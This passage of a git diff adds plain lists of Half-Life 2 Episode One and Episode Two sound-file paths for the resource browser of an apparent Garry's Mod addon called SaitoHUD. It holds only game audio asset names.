+vo/episode_1/npc/male01/cit_alert_antlions04.wav +vo/episode_1/npc/male01/cit_alert_antlions05.wav +vo/episode_1/npc/male01/cit_alert_antlions06.wav +vo/episode_1/npc/male01/cit_alert_antlions07.wav +vo/episode_1/npc/male01/cit_alert_antlions08.wav +vo/episode_1/npc/male01/cit_alert_antlions09.wav +vo/episode_1/npc/male01/cit_alert_antlions10.wav +vo/episode_1/npc/male01/cit_alert_antlions11.wav +vo/episode_1/npc/male01/cit_alert_antlions12.wav +vo/episode_1/npc/male01/cit_alert_antlions13.wav +vo/episode_1/npc/male01/cit_alert_antlions14.wav +vo/episode_1/npc/male01/cit_alert_antlions15.wav +vo/episode_1/npc/male01/cit_alert_antlions16.wav +vo/episode_1/npc/male01/cit_alert_antlions17.wav +vo/episode_1/npc/male01/cit_alert_antlions18.wav +vo/episode_1/npc/male01/cit_alert_gunship01.wav +vo/episode_1/npc/male01/cit_alert_gunship02.wav +vo/episode_1/npc/male01/cit_alert_gunship03.wav +vo/episode_1/npc/male01/cit_alert_gunship04.wav +vo/episode_1/npc/male01/cit_alert_gunship05.wav +vo/episode_1/npc/male01/cit_alert_gunship06.wav +vo/episode_1/npc/male01/cit_alert_gunship07.wav +vo/episode_1/npc/male01/cit_alert_gunship08.wav +vo/episode_1/npc/male01/cit_alert_head01.wav +vo/episode_1/npc/male01/cit_alert_head02.wav +vo/episode_1/npc/male01/cit_alert_head03.wav +vo/episode_1/npc/male01/cit_alert_head03a.wav +vo/episode_1/npc/male01/cit_alert_head04.wav +vo/episode_1/npc/male01/cit_alert_head05.wav +vo/episode_1/npc/male01/cit_alert_head06.wav +vo/episode_1/npc/male01/cit_alert_head07.wav +vo/episode_1/npc/male01/cit_alert_head08.wav +vo/episode_1/npc/male01/cit_alert_rollers01.wav +vo/episode_1/npc/male01/cit_alert_rollers02.wav +vo/episode_1/npc/male01/cit_alert_rollers03.wav +vo/episode_1/npc/male01/cit_alert_rollers04.wav +vo/episode_1/npc/male01/cit_alert_soldier01.wav +vo/episode_1/npc/male01/cit_alert_soldier02.wav +vo/episode_1/npc/male01/cit_alert_soldier03.wav +vo/episode_1/npc/male01/cit_alert_soldier04.wav +vo/episode_1/npc/male01/cit_alert_soldier05.wav +vo/episode_1/npc/male01/cit_alert_soldier06.wav +vo/episode_1/npc/male01/cit_alert_soldier07.wav +vo/episode_1/npc/male01/cit_alert_soldier_above.wav +vo/episode_1/npc/male01/cit_alert_zombie01.wav +vo/episode_1/npc/male01/cit_alert_zombie02.wav +vo/episode_1/npc/male01/cit_alert_zombie03.wav +vo/episode_1/npc/male01/cit_alert_zombie04.wav +vo/episode_1/npc/male01/cit_alert_zombie05.wav +vo/episode_1/npc/male01/cit_alert_zombie06.wav +vo/episode_1/npc/male01/cit_alert_zombie07.wav +vo/episode_1/npc/male01/cit_alert_zombie08.wav +vo/episode_1/npc/male01/cit_alert_zombie09.wav +vo/episode_1/npc/male01/cit_behindyousfx01.wav +vo/episode_1/npc/male01/cit_behindyousfx02.wav +vo/episode_1/npc/male01/cit_buddykilled01.wav +vo/episode_1/npc/male01/cit_buddykilled02.wav +vo/episode_1/npc/male01/cit_buddykilled03.wav +vo/episode_1/npc/male01/cit_buddykilled04.wav +vo/episode_1/npc/male01/cit_buddykilled05.wav +vo/episode_1/npc/male01/cit_buddykilled06.wav +vo/episode_1/npc/male01/cit_buddykilled07.wav +vo/episode_1/npc/male01/cit_buddykilled08.wav +vo/episode_1/npc/male01/cit_buddykilled09.wav +vo/episode_1/npc/male01/cit_buddykilled10.wav +vo/episode_1/npc/male01/cit_buddykilled11.wav +vo/episode_1/npc/male01/cit_buddykilled12.wav +vo/episode_1/npc/male01/cit_buddykilled13.wav +vo/episode_1/npc/male01/cit_comehere.wav +vo/episode_1/npc/male01/cit_denytrain01.wav +vo/episode_1/npc/male01/cit_denytrain02.wav +vo/episode_1/npc/male01/cit_denytrain03.wav +vo/episode_1/npc/male01/cit_denytrain04.wav +vo/episode_1/npc/male01/cit_evac_casualty01.wav +vo/episode_1/npc/male01/cit_evac_casualty02.wav +vo/episode_1/npc/male01/cit_evac_casualty03.wav +vo/episode_1/npc/male01/cit_evac_casualty04.wav +vo/episode_1/npc/male01/cit_evac_casualty05.wav +vo/episode_1/npc/male01/cit_evac_casualty06.wav +vo/episode_1/npc/male01/cit_evac_casualty07.wav +vo/episode_1/npc/male01/cit_evac_casualty08.wav +vo/episode_1/npc/male01/cit_evac_casualty09.wav +vo/episode_1/npc/male01/cit_evac_casualty10.wav +vo/episode_1/npc/male01/cit_evac_casualty11.wav +vo/episode_1/npc/male01/cit_evac_defendus01.wav +vo/episode_1/npc/male01/cit_evac_defendus02.wav +vo/episode_1/npc/male01/cit_evac_defendus03.wav +vo/episode_1/npc/male01/cit_evac_defendus04.wav +vo/episode_1/npc/male01/cit_evac_defendus05.wav +vo/episode_1/npc/male01/cit_evac_defendus06.wav +vo/episode_1/npc/male01/cit_evac_defendus07.wav +vo/episode_1/npc/male01/cit_evac_defendus08.wav +vo/episode_1/npc/male01/cit_evac_defendus09.wav +vo/episode_1/npc/male01/cit_evac_defendusvance.wav +vo/episode_1/npc/male01/cit_evac_enemies01.wav +vo/episode_1/npc/male01/cit_evac_enemies02.wav +vo/episode_1/npc/male01/cit_evac_no01.wav +vo/episode_1/npc/male01/cit_evac_no02.wav +vo/episode_1/npc/male01/cit_evac_no03.wav +vo/episode_1/npc/male01/cit_evac_no04.wav +vo/episode_1/npc/male01/cit_evac_ok01.wav +vo/episode_1/npc/male01/cit_evac_ok02.wav +vo/episode_1/npc/male01/cit_evac_ok03.wav +vo/episode_1/npc/male01/cit_evac_ok04.wav +vo/episode_1/npc/male01/cit_evac_thanks01.wav +vo/episode_1/npc/male01/cit_evac_thanks02.wav +vo/episode_1/npc/male01/cit_evac_thanks03.wav +vo/episode_1/npc/male01/cit_evac_thanks04.wav +vo/episode_1/npc/male01/cit_evac_thanks05.wav +vo/episode_1/npc/male01/cit_evac_thanksalyx.wav +vo/episode_1/npc/male01/cit_getaboard01.wav +vo/episode_1/npc/male01/cit_getaboard02.wav +vo/episode_1/npc/male01/cit_getaboard03.wav +vo/episode_1/npc/male01/cit_getaboard04.wav +vo/episode_1/npc/male01/cit_getaboard05.wav +vo/episode_1/npc/male01/cit_getoffstreet.wav +vo/episode_1/npc/male01/cit_greatshot.wav +vo/episode_1/npc/male01/cit_greet_alyx01.wav +vo/episode_1/npc/male01/cit_greet_alyx02.wav +vo/episode_1/npc/male01/cit_greet_alyx03.wav +vo/episode_1/npc/male01/cit_greet_alyx04.wav +vo/episode_1/npc/male01/cit_greet_alyx05.wav +vo/episode_1/npc/male01/cit_greet_alyx06.wav +vo/episode_1/npc/male01/cit_greet_alyx07.wav +vo/episode_1/npc/male01/cit_greet_alyx08.wav +vo/episode_1/npc/male01/cit_greet_alyx09.wav +vo/episode_1/npc/male01/cit_greet_alyx10.wav +vo/episode_1/npc/male01/cit_greet_alyx11.wav +vo/episode_1/npc/male01/cit_greet_alyx12.wav +vo/episode_1/npc/male01/cit_greet_alyx13.wav +vo/episode_1/npc/male01/cit_gunship.wav +vo/episode_1/npc/male01/cit_heyoverhere.wav +vo/episode_1/npc/male01/cit_hurryup.wav +vo/episode_1/npc/male01/cit_itsaraid.wav +vo/episode_1/npc/male01/cit_jump.wav +vo/episode_1/npc/male01/cit_kill01.wav +vo/episode_1/npc/male01/cit_kill02.wav +vo/episode_1/npc/male01/cit_kill03.wav +vo/episode_1/npc/male01/cit_kill04.wav +vo/episode_1/npc/male01/cit_kill05.wav +vo/episode_1/npc/male01/cit_kill06.wav +vo/episode_1/npc/male01/cit_kill07.wav +vo/episode_1/npc/male01/cit_kill08.wav +vo/episode_1/npc/male01/cit_kill09.wav +vo/episode_1/npc/male01/cit_kill10.wav +vo/episode_1/npc/male01/cit_kill11.wav +vo/episode_1/npc/male01/cit_kill12.wav +vo/episode_1/npc/male01/cit_kill13.wav +vo/episode_1/npc/male01/cit_kill14.wav +vo/episode_1/npc/male01/cit_kill15.wav +vo/episode_1/npc/male01/cit_kill16.wav +vo/episode_1/npc/male01/cit_kill17.wav +vo/episode_1/npc/male01/cit_kill18.wav +vo/episode_1/npc/male01/cit_kill19.wav +vo/episode_1/npc/male01/cit_kill20.wav +vo/episode_1/npc/male01/cit_letyouthru.wav +vo/episode_1/npc/male01/cit_notice_gravgunkill01.wav +vo/episode_1/npc/male01/cit_notice_gravgunkill02.wav +vo/episode_1/npc/male01/cit_notice_gravgunkill03.wav +vo/episode_1/npc/male01/cit_notice_gravgunkill04.wav +vo/episode_1/npc/male01/cit_pain01.wav +vo/episode_1/npc/male01/cit_pain02.wav +vo/episode_1/npc/male01/cit_pain03.wav +vo/episode_1/npc/male01/cit_pain04.wav +vo/episode_1/npc/male01/cit_pain05.wav +vo/episode_1/npc/male01/cit_pain06.wav +vo/episode_1/npc/male01/cit_pain07.wav +vo/episode_1/npc/male01/cit_pain08.wav +vo/episode_1/npc/male01/cit_pain09.wav +vo/episode_1/npc/male01/cit_pain10.wav +vo/episode_1/npc/male01/cit_pain11.wav +vo/episode_1/npc/male01/cit_pain12.wav +vo/episode_1/npc/male01/cit_pain13.wav +vo/episode_1/npc/male01/cit_raidsoldiers.wav +vo/episode_1/npc/male01/cit_reachtrain01.wav +vo/episode_1/npc/male01/cit_reachtrain02.wav +vo/episode_1/npc/male01/cit_reachtrain03.wav +vo/episode_1/npc/male01/cit_reachtrain04.wav +vo/episode_1/npc/male01/cit_reachtrain05.wav +vo/episode_1/npc/male01/cit_remarks01.wav +vo/episode_1/npc/male01/cit_remarks02.wav +vo/episode_1/npc/male01/cit_remarks03.wav +vo/episode_1/npc/male01/cit_remarks04.wav +vo/episode_1/npc/male01/cit_remarks05.wav +vo/episode_1/npc/male01/cit_remarks06.wav +vo/episode_1/npc/male01/cit_remarks07.wav +vo/episode_1/npc/male01/cit_remarks08.wav +vo/episode_1/npc/male01/cit_remarks09.wav +vo/episode_1/npc/male01/cit_remarks10.wav +vo/episode_1/npc/male01/cit_remarks11.wav +vo/episode_1/npc/male01/cit_remarks12.wav +vo/episode_1/npc/male01/cit_remarks13.wav +vo/episode_1/npc/male01/cit_remarks14.wav +vo/episode_1/npc/male01/cit_remarks15.wav +vo/episode_1/npc/male01/cit_remarks16.wav +vo/episode_1/npc/male01/cit_remarks17.wav +vo/episode_1/npc/male01/cit_remarks18.wav +vo/episode_1/npc/male01/cit_remarks19.wav +vo/episode_1/npc/male01/cit_remarks20.wav +vo/episode_1/npc/male01/cit_remarks21.wav +vo/episode_1/npc/male01/cit_remarks22.wav +vo/episode_1/npc/male01/cit_remarks23.wav +vo/episode_1/npc/male01/cit_runforit.wav +vo/episode_1/npc/male01/cit_safehouse.wav +vo/episode_1/npc/male01/cit_shock01.wav +vo/episode_1/npc/male01/cit_shock02.wav +vo/episode_1/npc/male01/cit_shock03.wav +vo/episode_1/npc/male01/cit_shock04.wav +vo/episode_1/npc/male01/cit_shock05.wav +vo/episode_1/npc/male01/cit_shock06.wav +vo/episode_1/npc/male01/cit_shock07.wav +vo/episode_1/npc/male01/cit_shock08.wav +vo/episode_1/npc/male01/cit_shock09.wav +vo/episode_1/npc/male01/cit_shock10.wav +vo/episode_1/npc/male01/cit_shock11.wav +vo/episode_1/npc/male01/cit_squad_flee01.wav +vo/episode_1/npc/male01/cit_squad_flee02.wav +vo/episode_1/npc/male01/cit_squad_flee03.wav +vo/episode_1/npc/male01/cit_squad_flee04.wav +vo/episode_1/npc/male01/cit_squad_flee05.wav +vo/episode_1/npc/male01/cit_stopburrows.wav +vo/episode_1/npc/male01/cit_tellmeaboutit.wav +vo/episode_1/npc/male01/cit_thateverybody.wav +vo/episode_1/npc/male01/cit_thesearesomuchfun.wav +vo/episode_1/npc/male01/cit_theyfoundus.wav +vo/episode_1/npc/male01/cit_thisway.wav +vo/episode_1/npc/male01/cit_twopeople.wav +vo/episode_1/npc/male01/cit_youbet.wav +vo/episode_1/npc/male01/cit_youknowodessa.wav +weapons/alyx_gun/alyx_gun_fire3.wav +weapons/alyx_gun/alyx_gun_fire4.wav +weapons/alyx_gun/alyx_gun_fire5.wav +weapons/alyx_gun/alyx_gun_fire6.wav +weapons/alyx_gun/alyx_shotgun_cock1.wav +weapons/physcannon/superphys_chargeup.wav diff --git a/Repos/HeXs_SaitoHUD-master/data/saitohud/resource_browser/sounds/hl2ep2.txt b/Repos/HeXs_SaitoHUD-master/data/saitohud/resource_browser/sounds/hl2ep2.txt new file mode 100644 index 0000000..b9ea6a8 --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/data/saitohud/resource_browser/sounds/hl2ep2.txt @@ -0,0 +1,644 @@ +ambient/ambience/WaterLap_loop.wav +ambient/ambience/Wind_Light02_loop.wav +ambient/energy/ion_cannon_shot1.wav +ambient/energy/ion_cannon_shot2.wav +ambient/energy/ion_cannon_shot3.wav +ambient/energy/NewSpark01.wav +ambient/energy/NewSpark02.wav +ambient/energy/NewSpark03.wav +ambient/energy/NewSpark04.wav +ambient/energy/NewSpark05.wav +ambient/energy/NewSpark06.wav +ambient/energy/NewSpark07.wav +ambient/energy/NewSpark08.wav +ambient/energy/NewSpark09.wav +ambient/energy/NewSpark10.wav +ambient/energy/NewSpark11.wav +ambient/energy/powerdown2.wav +ambient/energy/power_off1.wav +ambient/levels/Advisor_Barn/OL07_Advisor_00_01_22.wav +ambient/levels/Advisor_Barn/OL07_Advisor_00_01_23.wav +ambient/levels/Advisor_Barn/OL07_Advisor_00_09_17.wav +ambient/levels/Advisor_Barn/OL07_Advisor_00_12_11.wav +ambient/levels/Advisor_Barn/OL07_Advisor_00_16_13.wav +ambient/levels/Advisor_Barn/OL07_Advisor_00_21_13.wav +ambient/levels/Advisor_Barn/OL07_Advisor_00_27_10.wav +ambient/levels/Advisor_Barn/OL07_Advisor_00_28_15.wav +ambient/levels/Advisor_Barn/OL07_Advisor_00_28_24.wav +ambient/levels/Advisor_Barn/OL07_Advisor_00_30_14.wav +ambient/levels/Advisor_Barn/OL07_Advisor_00_30_22.wav +ambient/levels/Advisor_Barn/OL07_Advisor_00_35_13.wav +ambient/levels/Advisor_Barn/OL07_Advisor_00_36_25.wav +ambient/levels/Advisor_Barn/OL07_Advisor_00_41_11.wav +ambient/levels/Advisor_Barn/OL07_Advisor_00_41_25.wav +ambient/levels/Advisor_Barn/OL07_Advisor_00_45_22.wav +ambient/levels/Advisor_Barn/OL07_Advisor_00_48_14.wav +ambient/levels/Advisor_Barn/OL07_Advisor_00_48_16.wav +ambient/levels/Advisor_Barn/OL07_Advisor_00_50_11.wav +ambient/levels/Advisor_Barn/OL07_Advisor_00_53_23.wav +ambient/levels/Advisor_Barn/OL07_Advisor_01_01_15.wav +ambient/levels/Advisor_Barn/OL07_Advisor_01_02_06.wav +ambient/levels/caves/cave_crickets_loop1.wav +ambient/levels/caves/cave_heen_loop1.wav +ambient/levels/caves/cave_howl_loop1.wav +ambient/levels/caves/cave_scree_loop1.wav +ambient/levels/caves/cave_scree_loop2.wav +ambient/levels/caves/dist_growl1.wav +ambient/levels/caves/dist_growl2.wav +ambient/levels/caves/dist_growl3.wav +ambient/levels/caves/dist_growl4.wav +ambient/levels/caves/dist_grub1.wav +ambient/levels/caves/dist_grub2.wav +ambient/levels/caves/dist_grub3.wav +ambient/levels/caves/dist_grub4.wav +ambient/levels/caves/dist_grub5.wav +ambient/levels/caves/OL04_GearEngage.wav +ambient/levels/caves/rumble1.wav +ambient/levels/caves/rumble2.wav +ambient/levels/caves/rumble3.wav +ambient/levels/Dog_v_Strider/DvS_DogFinalFall.wav +ambient/levels/Dog_v_Strider/DvS_DogGrabStrider_00_40_24.wav +ambient/levels/Dog_v_Strider/DvS_DogHitStrider_00_27_16.wav +ambient/levels/Dog_v_Strider/DvS_DogHitStrider_00_34_18.wav +ambient/levels/Dog_v_Strider/DvS_DogJump_00_06_01.wav +ambient/levels/Dog_v_Strider/DvS_DogOnLog_00_03_06.wav +ambient/levels/Dog_v_Strider/DvS_DogRipStrider_00_36_10.wav +ambient/levels/Dog_v_Strider/DvS_DogSlamStrider_00_30_07.wav +ambient/levels/Dog_v_Strider/DvS_DogVoc_00_03_22.wav +ambient/levels/Dog_v_Strider/DvS_DogVoc_00_16_00.wav +ambient/levels/Dog_v_Strider/DvS_DogVoc_00_22_00.wav +ambient/levels/Dog_v_Strider/DvS_DogVoc_00_24_24.wav +ambient/levels/Dog_v_Strider/DvS_DogVoc_00_26_29.wav +ambient/levels/Dog_v_Strider/DvS_DogVoc_00_29_16.wav +ambient/levels/Dog_v_Strider/DvS_DogVoc_00_31_23.wav +ambient/levels/Dog_v_Strider/DvS_DogVoc_00_36_16.wav +ambient/levels/Dog_v_Strider/DvS_DogVoc_00_39_06.wav +ambient/levels/Dog_v_Strider/DvS_DogVoc_00_45_18.wav +ambient/levels/Dog_v_Strider/DvS_Rockslide.wav +ambient/levels/Dog_v_Strider/DvS_StrdrSkew_RockDirt02.wav +ambient/levels/Dog_v_Strider/DvS_StrdrSkew_RockDirt03.wav +ambient/levels/Dog_v_Strider/DvS_StrdrSkew_RockWoodDrt01.wav +ambient/levels/Dog_v_Strider/DvS_StriderBarf01_00_12_16.wav +ambient/levels/Dog_v_Strider/DvS_StriderBarf02_00_13_29.wav +ambient/levels/Dog_v_Strider/DvS_StriderBarf03_00_15_06.wav +ambient/levels/Dog_v_Strider/DvS_StriderFall_00_47_04.wav +ambient/levels/Dog_v_Strider/DvS_StriderVoc_00_23_24.wav +ambient/levels/Dog_v_Strider/DvS_StriderVoc_00_28_21.wav +ambient/levels/Dog_v_Strider/DvS_StriderVoc_00_35_18.wav +ambient/levels/Dog_v_Strider/DvS_StriderVoc_00_41_14.wav +ambient/levels/Dog_v_Strider/DvS_Tree01Explode.wav +ambient/levels/Dog_v_Strider/DvS_TreeCrash_00_10_25.wav +ambient/levels/Dog_v_Strider/OL10a_DogClearRiver.wav +ambient/levels/Dog_v_Strider/OL10a_Dog_Recover.wav +ambient/levels/Finale Segment Conversions/OL12_Finale_00_02_19.wav +ambient/levels/Finale Segment Conversions/OL12_Finale_00_02_23.wav +ambient/levels/Finale Segment Conversions/OL12_Finale_00_04_29.wav +ambient/levels/Finale Segment Conversions/OL12_Finale_00_05_20.wav +ambient/levels/Finale Segment Conversions/OL12_Finale_00_05_21.wav +ambient/levels/Finale Segment Conversions/OL12_Finale_00_07_09.wav +ambient/levels/Finale Segment Conversions/OL12_Finale_00_07_13.wav +ambient/levels/Finale Segment Conversions/OL12_Finale_00_17_11.wav +ambient/levels/Finale Segment Conversions/OL12_Finale_00_17_17.wav +ambient/levels/Finale Segment Conversions/OL12_Finale_00_23_22.wav +ambient/levels/Finale Segment Conversions/OL12_Finale_00_25_20.wav +ambient/levels/Finale Segment Conversions/OL12_Finale_00_32_10.wav +ambient/levels/Finale Segment Conversions/OL12_Finale_00_34_03.wav +ambient/levels/Finale Segment Conversions/OL12_Finale_00_38_25.wav +ambient/levels/Finale Segment Conversions/OL12_Finale_00_48_10.wav +ambient/levels/Finale Segment Conversions/OL12_Finale_00_55_19.wav +ambient/levels/Finale Segment Conversions/OL12_Finale_01_10_29.wav +ambient/levels/Finale Segment Conversions/OL12_Finale_01_15_25.wav +ambient/levels/Finale Segment Conversions/OL12_Finale_01_16_11.wav +ambient/levels/forest/buzz1.wav +ambient/levels/forest/buzz2.wav +ambient/levels/forest/buzz3.wav +ambient/levels/forest/buzz4.wav +ambient/levels/forest/chicka1.wav +ambient/levels/forest/chicka2.wav +ambient/levels/forest/chicka3.wav +ambient/levels/forest/chirp1.wav +ambient/levels/forest/chirp2.wav +ambient/levels/forest/chirp3.wav +ambient/levels/forest/crik1.wav +ambient/levels/forest/crik2.wav +ambient/levels/forest/crik3.wav +ambient/levels/forest/dist_birds1.wav +ambient/levels/forest/dist_birds2.wav +ambient/levels/forest/dist_birds3.wav +ambient/levels/forest/dist_birds4.wav +ambient/levels/forest/dist_birds5.wav +ambient/levels/forest/dist_birds6.wav +ambient/levels/forest/flit1.wav +ambient/levels/forest/frogs_loop1.wav +ambient/levels/forest/peckr1.wav +ambient/levels/forest/peckr2.wav +ambient/levels/forest/squeek1.wav +ambient/levels/forest/squeek2.wav +ambient/levels/forest/squeek3.wav +ambient/levels/forest/treewind1.wav +ambient/levels/forest/treewind2.wav +ambient/levels/forest/treewind3.wav +ambient/levels/forest/treewind4.wav +ambient/levels/gman/GMAN_seg_00_01_03.wav +ambient/levels/gman/GMAN_seg_00_21_05.wav +ambient/levels/gman/GMan_Sgnature_Shrt.wav +ambient/levels/gman/OL02_GMan_Full_00_01_03.wav +ambient/levels/gman/VortHealing _Loop01.wav +ambient/levels/gman/VortHealing_Loop01.wav +ambient/levels/gman/VortHealing_Loop02.wav +ambient/levels/launch/1stFiringWarning.wav +ambient/levels/launch/Debris01.wav +ambient/levels/launch/Debris02.wav +ambient/levels/launch/InteriorTurbulance.wav +ambient/levels/launch/LaunchVoice.wav +ambient/levels/launch/OutsideSiloDoorsOpen.wav +ambient/levels/launch/Rhumble01.wav +ambient/levels/launch/RocketTakeOffBlast.wav +ambient/levels/launch/WarningSFX01_Loop.wav +ambient/levels/launch/WarningSFX02_Loop.wav +ambient/levels/outland/Alyx_HandCrawl_Foley.wav +ambient/levels/outland/BaseAlarmLoop.wav +ambient/levels/outland/cave_siren_loop1.wav +ambient/levels/outland/cave_siren_loop2.wav +ambient/levels/outland/cave_siren_loop3.wav +ambient/levels/outland/cave_siren_loop4.wav +ambient/levels/outland/CombineShieldActivate.wav +ambient/levels/outland/CombineShield_deactivate.wav +ambient/levels/outland/Forklift_Down_Up_Loop.wav +ambient/levels/outland/ForkLift_Start.wav +ambient/levels/outland/ForkLift_Stop.wav +ambient/levels/outland/House_Explosion.wav +ambient/levels/outland/OL01a_ElevatorCar_Fall.wav +ambient/levels/outland/OL01a_Gate_Open.wav +ambient/levels/outland/OL01Portal_Loop_Stage01.wav +ambient/levels/outland/OL01_HunterDoubleStep.wav +ambient/levels/outland/OL01_HunterRollAlyx.wav +ambient/levels/outland/OL01_HunterSighting01.wav +ambient/levels/outland/OL01_HunterSighting02.wav +ambient/levels/outland/OL01_HunterSighting03.wav +ambient/levels/outland/OL01_HunterStep01.wav +ambient/levels/outland/OL01_HunterStep02.wav +ambient/levels/outland/OL01_HunterStep03.wav +ambient/levels/outland/OL01_HunterStep04.wav +ambient/levels/outland/OL01_HunterStep05.wav +ambient/levels/outland/OL01_HunterStep06.wav +ambient/levels/outland/OL01_Hunter_Impact01.wav +ambient/levels/outland/OL01_Hunter_Impacts02.wav +ambient/levels/outland/OL01_Hunter_KickVx.wav +ambient/levels/outland/OL01_Hunter_PostKickVx02.wav +ambient/levels/outland/OL01_Hunter_PreAttackVx.wav +ambient/levels/outland/OL01_Hunter_PreAttackVx02.wav +ambient/levels/outland/OL01_PortalBlast.wav +ambient/levels/outland/OL01_Rock_Crash.wav +ambient/levels/outland/OL01_SledThruFencePart01.wav +ambient/levels/outland/OL01_SledThruFence_Impact.wav +ambient/levels/outland/OL01_Sled_1st_Slip.wav +ambient/levels/outland/OL01_Stab_and_Drag.wav +ambient/levels/outland/OL01_TeleconferenceBegin.wav +ambient/levels/outland/OL01_TeleconferenceEnd.wav +ambient/levels/outland/OL01_TrainBridgeCollapse.wav +ambient/levels/outland/OL01_TrainSplash.wav +ambient/levels/outland/OL01_Vort1stHealAlyx.wav +ambient/levels/outland/OL01_VortFreeGordon.wav +ambient/levels/outland/OL02_VortChant_Loop.wav +ambient/levels/outland/OL02_VortHealAlyxLoop.wav +ambient/levels/outland/OL03BinMoveLoop.wav +ambient/levels/outland/OL03Gatefall_Pt01.wav +ambient/levels/outland/OL03Gatefall_Pt02.wav +ambient/levels/outland/OL03Railcar_Imp01.wav +ambient/levels/outland/OL03Railcar_Imp02.wav +ambient/levels/outland/OL03sled02_pt01.wav +ambient/levels/outland/OL03sled02_pt02.wav +ambient/levels/outland/OL03sled02_pt03.wav +ambient/levels/outland/OL03_2ndLift_FallLoop.wav +ambient/levels/outland/OL03_BinCreak01.wav +ambient/levels/outland/OL03_BinCreak02.wav +ambient/levels/outland/OL03_BinCreak03.wav +ambient/levels/outland/OL03_BinCreak04.wav +ambient/levels/outland/OL03_BinCreak05.wav +ambient/levels/outland/OL03_BinCreak06.wav +ambient/levels/outland/OL03_BinSqueak01_Long.wav +ambient/levels/outland/OL03_BinSqueak01_Med.wav +ambient/levels/outland/OL03_BinSqueak01_short.wav +ambient/levels/outland/OL03_BinSqueak02_Long.wav +ambient/levels/outland/OL03_BinSqueak02_Med.wav +ambient/levels/outland/OL03_BinSqueak02_short.wav +ambient/levels/outland/OL03_BinSqueak03_Long.wav +ambient/levels/outland/OL03_BinSqueak03_Med.wav +ambient/levels/outland/OL03_BinSqueak03_short.wav +ambient/levels/outland/OL03_Lift01_WeightImpact.wav +ambient/levels/outland/OL03_Lift_Creak01.wav +ambient/levels/outland/OL03_Lift_Creak02.wav +ambient/levels/outland/OL03_Lift_Creak03.wav +ambient/levels/outland/OL03_Lift_Creak04.wav +ambient/levels/outland/OL03_Lift_Creak05.wav +ambient/levels/outland/OL03_Lift_Creak06.wav +ambient/levels/outland/OL03_Lift_Creak07.wav +ambient/levels/outland/OL03_Lift_Loop.wav +ambient/levels/outland/OL03_Lift_Loop_mono.wav +ambient/levels/outland/OL03_Lift_Start.wav +ambient/levels/outland/OL03_RailRide.wav +ambient/levels/outland/OL03_ShaftDebrisSplash.wav +ambient/levels/outland/OL03_Shaft_FlameBy.wav +ambient/levels/outland/OL03_Shaft_SledBy.wav +ambient/levels/outland/OL03_SlidingOverhead_Open.wav +ambient/levels/outland/OL04ElevatorGate_UP.wav +ambient/levels/outland/OL04FanSpinLong01.wav +ambient/levels/outland/OL04FanSpinLong02.wav +ambient/levels/outland/OL04FanSpinLong03.wav +ambient/levels/outland/OL04FanSpinLong04.wav +ambient/levels/outland/OL04_GearEngage_Lever.wav +ambient/levels/outland/OL04_GearLoop.wav +ambient/levels/outland/OL04_VortRemoveXtract.wav +ambient/levels/outland/OL04_Vort_Extract.wav +ambient/levels/outland/OL06a_transmission_begin.wav +ambient/levels/outland/OL06BridgeBreak_Pt01.wav +ambient/levels/outland/OL06BridgeBreak_Pt02.wav +ambient/levels/outland/OL06_AdvisorTransmission.wav +ambient/levels/outland/OL06_EndGate_Open.wav +ambient/levels/outland/OL06_GirdersBreak.wav +ambient/levels/outland/OL07AdvisorPod_Reveal.wav +ambient/levels/outland/OL07AdvisorThroughRoof.wav +ambient/levels/outland/OL07Advisor_PodOpen.wav +ambient/levels/outland/OL07_AdvisorBlast01.wav +ambient/levels/outland/OL07_AdvisorBlast02.wav +ambient/levels/outland/OL07_AdvisorBlast03.wav +ambient/levels/outland/OL07_AdvisorBlast04.wav +ambient/levels/outland/OL07_AdvisorBlast05.wav +ambient/levels/outland/OL07_AdvisorBlast06.wav +ambient/levels/outland/OL07_BodyOffConsole.wav +ambient/levels/outland/OL09_BigGunDestroy.wav +ambient/levels/outland/OL09_GunGrate_Open.wav +ambient/levels/outland/OL0Sled01.wav +ambient/levels/outland/OL10a_DogLiftGate.wav +ambient/levels/outland/OL10a_Strider_Reveal.wav +ambient/levels/outland/OL11BlastDoor_Open.wav +ambient/levels/outland/OL11SiloDoor_End_Cl.wav +ambient/levels/outland/OL11SiloDoor_End_Op.wav +ambient/levels/outland/OL11SiloDoor_Loop_Cl.wav +ambient/levels/outland/OL11SiloDoor_Loop_Op.wav +ambient/levels/outland/OL11SiloDoor_Start_Cl.wav +ambient/levels/outland/OL11SiloDoor_Start_Op.wav +ambient/levels/outland/OL11_BlastDoorLatch.wav +ambient/levels/outland/OL11_BlastDoor_Close.wav +ambient/levels/outland/OL11_OverheadDoor_Open.wav +ambient/levels/outland/OL11_Welding_Loop.wav +ambient/levels/outland/OL12a_LaunchSwitch_Open.wav +ambient/levels/outland/OL12a_LaunchSwitch_Push.wav +ambient/levels/outland/OL12a_Overhead_Slider_open.wav +ambient/levels/outland/OL12a_PortalClose.wav +ambient/levels/outland/OL12a_SliderGate_Close.wav +ambient/levels/outland/OL12a_SliderGate_Open.wav +ambient/levels/outland/OL12ChainLinkOpen.wav +ambient/levels/outland/OL12_BaseExplosion.wav +ambient/levels/outland/OL12_LodgeExplode.wav +ambient/levels/outland/OL12_Sawmill_Destroy.wav +ambient/levels/outland/StalactiteHit01.wav +ambient/levels/outland/StalactiteHit02.wav +ambient/levels/outland/StalactiteHit03.wav +ambient/levels/outland/StriderBusterArm02.wav +ambient/levels/outland/StriderbusterIdle_loop.wav +ambient/levels/outland/webdoor_break1.wav +ambient/levels/outland/webdoor_break4.wav +ambient/levels/outland/webdoor_hit3.wav +ambient/levels/outland/webdoor_hit4.wav +commentary/ep2-comment001.wav +commentary/ep2-comment002.wav +commentary/ep2-comment003.wav +commentary/ep2-comment004.wav +commentary/ep2-comment005.wav +commentary/ep2-comment006.wav +commentary/ep2-comment007.wav +commentary/ep2-comment008.wav +commentary/ep2-comment010.wav +commentary/ep2-comment011.wav +commentary/ep2-comment012.wav +commentary/ep2-comment013.wav +commentary/ep2-comment014.wav +commentary/ep2-comment015.wav +commentary/ep2-comment016.wav +commentary/ep2-comment017.wav +commentary/ep2-comment019.wav +commentary/ep2-comment020.wav +commentary/ep2-comment022.wav +commentary/ep2-comment024.wav +commentary/ep2-comment028.wav +commentary/ep2-comment029.wav +commentary/ep2-comment031.wav +commentary/ep2-comment032.wav +commentary/ep2-comment033.wav +commentary/ep2-comment034.wav +commentary/ep2-comment037.wav +commentary/ep2-comment041.wav +commentary/ep2-comment042.wav +commentary/ep2-comment045.wav +commentary/ep2-comment048.wav 